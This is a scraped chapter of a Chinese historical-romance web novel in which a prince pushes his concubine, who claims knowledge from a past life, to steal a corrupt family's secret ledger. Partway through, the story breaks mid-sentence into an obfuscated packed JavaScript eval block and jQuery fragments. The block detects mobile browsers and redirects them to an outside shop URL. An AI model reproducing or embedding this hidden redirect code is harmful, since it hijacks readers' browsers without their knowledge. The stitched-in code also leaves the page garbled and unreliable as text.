49.第 49 章

作品:《景元七年轶闻

    “怎么,董家不欢迎我吗?”


    “不敢,殿下误会了,若殿下能来,是董家修来的福气。”董笙跪下了。


    “说说话而已,跪什么,起来吧。”


    董笙又行礼告退。


    一顿饭结束,贺云晟带着阮青钰回府。


    二人刚到府上没多久,董家的请柬就送来了。


    原来董家二老的八十大寿就在下月初,董家已经在发帖子请客。贺云晟知道,所以才会去盛繁酒楼吃了顿饭,不只是抬举阮家,是要董家不得不出来和他说话,贺云晟提醒了他们,董家就不得不给贺云晟送请帖。


    贺云晟的话说到这份儿上,要是还不请他去,董家的八十大寿也别办了。


    董家估计倒是宁愿不大办也不想请贺云晟去,但许多帖子都发出去了,这时候变卦,更显得异常。


    晚上回了房间,贺云晟依旧是遣散下人和阮青钰说话。


    “今天我收到快信,王彦案幸存的告案人,已经在太子殿下那里了。”


    “太子殿下?”这种大人物,阮青钰听起来都觉得遥远。


    “太子收到我的消息后,召见了徐处,人确实在他那里,他已经交出了人给太子。东宫正在审查,想必不用两日,供词就可以送过来。”


    阮青钰点点头,和他们之前推测的一样,她觉得合理。


    但贺云晟并不觉得。


    他话说得平静,实际上心中已经翻了好几滚。阮青钰这种稀松平常的反应,更让他窝火。


    理智告诉他不应该理会阮青钰那套一场前生梦的说辞,事实却逼着他相信。


    “阮青钰,我再问你一遍,这些事情,你是如何得知?”


    “殿下,我说过实话,你不相信,那你想听什么,我说与你听,可好?”


    贺云晟一把拉住阮青钰的手腕,让她正对着自己,阮青钰没防备,被他拉得一下跪在他面前。


    贺云晟俯视她的眼睛:“我没有同你玩笑,这是我最后一遍问你,也是你最后一次说实话的机会,若再撒谎,日后一旦被戳穿,你和阮家,所有人,都不能善了。”


    阮青钰仰头直视他,“我没有和殿下玩笑,现在没有,以前也没有过,我说的都是实话,事实上,我只对殿下说过实话。”


    两人的脸之间,只有半尺的距离,可以看清对方眼睛里所有情绪,贺云晟试图捕捉到阮青钰眼中的慌张、失措、掩饰,却什么都没有,只有一泓秋水,坦荡无波。


    而贺云晟眼中,是愤怒,到迷茫,最终平静。


    他是利用阮青钰提供的消息获利了,但他本能地质疑阮青钰。


    他放开手,他知道,从现在开始,不管愿不愿意,他要接受阮青钰一世大梦的故事,直到有事实能推翻这个荒谬的说法。


    阮青钰偷偷揉手腕,很疼。


    “既然你都重生一世了,总该有些不一样的本事,眼下有件事情要你去办。”


    阮青钰心想,哪里是这一件事情,之前我闲过吗?


    阮青钰喜欢闲散无忧的日子,谁不喜欢呢?但几人能过得这样的日子。


    现在能为贺云晟办事情,恰恰是她的价值所在。差事办得如何,关系她今后能否在王府立足的根本。


    “殿下尽管吩咐。”


    “范正东留的那些证据,都是些相关的物件,单独不好成证,但他交代了,董大手里,有账目,每次事情的得益,不是董大一个人的,董家参与的人都有份,何时从何人那里得到什么,分给什么人,记在一本绝密的账上,范正东也是巧合之下才知道这本账的存在和所藏之处。”


    “董家把这样的东西留下,不是给自己掘坟吗?”


    “在我们看,是一个董家,但在董家内部,又是派系相对,利益相冲,以董大为核心的,是董家最有实力的一部分,董大作为首领,如何管理这些人、如何分配、如何赏罚,他需要这样一本账。”


    “那这本账藏在哪里?”


    “在董大爱妾范氏那里。”


    “范氏?”


    “对,是范正东的亲戚。”


    “范正东不是因为得罪董大的爱妾才被迫离开的吗?”


    “就是这个范氏,亲戚的情分让范正东通过范氏投靠了董大。但利益乱人心,他后来被范氏猜忌,沦为弃子,也正是因为这层关系,范正东才有机会发现这本账。”


    “那殿下想让我做什么?”


    “其他的线,还没有完全收束,董家又掌握光州卫,真要动起来,需要调动其他卫所的军队。这些都需要一些时间。这本账,现在还不能光明正大地去要。”


    “是要去偷吗?”


    “本世子的事情,怎么能说偷呢?”


    “那应该怎么说?”


    “去借,借来看看。”


    阮青钰睁大了眼睛,“殿下不会是要我去借吧?”


    “多活了一辈子,还是有些聪明的嘛。”


    “殿下是不是有些太看得起我了,董家后宅,我一无所知,我怎么进去?”


    “所以我才去要董家寿宴的请帖。”


    “就算进得去,我也很难到范氏的住处,就算到了,完全陌生的地方,院子也总会有人看着,我怎么找一本藏得绝密的账?”


    “不如我这样说,你想要什么,拿到这本账,我就应了你。”


    阮青钰不语。


    “你苦心谋划,到了我身边,别说你没有什么所图,我也不能信。”


    那时贺云晟以为阮青钰只是被家中逼迫,想逃避不愿意的婚事,恰好救了他一命,他自然强过世上所有儿郎,阮青钰就求着进府。这些虽是意料之外,也在情理之中。再不过,就是贪慕富贵。


    但他现在知道了,阮青钰着实不太一样,若果真是活过一辈子的人,大概从救他开始,就知道他是谁,所图的,怕不只是荣华。


    他这样说,是交易也是试探。


    “殿下,我想要殿下带给我的尊荣富贵,越多越好,但这件事我恐怕是办不成,万一搞砸了,当场被抓了,岂不是坏了殿下的大事。”


    “不入虎穴焉得虎子。你若是被抓了,我是不会承认和你做的事情有关联的,你不过是妾室,舍了便是。”


    “殿下说得这么坦荡吗?”


    “以前我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870272|190233||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不知道你的底细,现在清楚了,既然是各取所需,你从一开始就如此坦诚,我又何须遮遮掩掩。”


    “殿下说得有道理。那我能拒绝这个差事吗?”


    “你觉得呢?”


    贺云晟看到阮青钰一脸为难,“我也不是想逼你,现在这个局面,知情人越少越好,何况我那些手下,都是男子,他们连进董家内宅的机会都没有,就算进到了院落,也不可能在不惊动人的情况下找东西。你是最好的人选。”


    “那若是事成,殿下可以应我一件事情,是吗?”阮青钰知道自己躲不过去。


    果然有所图。


    “我既说了,我的话,都是作准的。”


    阮青钰想了想,“殿下能否准我见见范正东,问他几句话?”


    “怎么,我的人审出来的供词,你不信?”


    “并非不信,只是我要到范氏的住处去‘借’东西,怎么也得知道一些详细的消息,才好下手。”


    贺云晟想了一想,“我会安排”,他注意到阮青钰一直在悄悄揉手腕,“有那么疼吗?我也没用力”。


    阮青钰心里说,你心里可真是没点数啊,我是校场上的兵吗?能吃这么大劲。却停了揉捏手腕,笑说不疼。


    她越是这样,越像是被欺负了还不敢说。


    贺云晟觉得她有些矫情了,拉起她的胳膊,翻起袖边,露出一段皓腕,上面赫然是几条红紫的指痕。


    贺云晟本来想证明自己确实没用力,这下有些不好收场了。


    “你这,要多锻炼身体,也太弱了。”


    说完摸摸鼻子,自去睡了。


    阮青钰在无人处翻了个白眼。


    阮家自从在盛繁酒楼和贺云晟吃了一顿饭,底气似乎都有些不一样了,文家那些人也不再如从前般强硬。


    正巧春晚城有一家老字号的酒坊,少东家不务正业,掌柜的支持不住,就劝东家把产业在还值些钱的时候卖了算了,阮家得知了,便收了这家大酒坊,产业就此扩大。


    阮青钰听刘岭传回来的消息,好奇阮家哪来的这些现银,一批三叶竹就能套住阮家的周转,便是落魄的老字号,也是有些规模的,所需银钱必然不少。若不是子孙不肖,老字号的商铺是不会在市面上流转的,这样的事,像文家那些大酒商又怎么会袖手旁观?


    刘岭真是包打听,一一解答了阮青钰的疑惑。


    阮家一得知消息,就在钱庄中借了一笔钱,备好现银后,立刻请了那家老字号的少东家、掌柜的吃了饭,还请了白知州一起,当场便敲定了这笔生意。


    听上去,倒是顺利,一顿饭就能收来一家成熟有名气的大作坊。


    但阮青钰知道,换做以前,就算是阮家备好了现银,也断不会这么顺当。买东西还要货比三家,折卖祖业,更要谨慎。阮家的开价并不算丰厚,他们完全可以再去接触别的买家。


    阮青钰不清楚这其中,州府甚至是贺云晟起到什么或明或暗的作用,她只清楚,但凡得到,都是要付出代价的。


    贺云晟现在要她做的事情无异于火中取栗,而他将来要阮家做的事情也绝不会容易。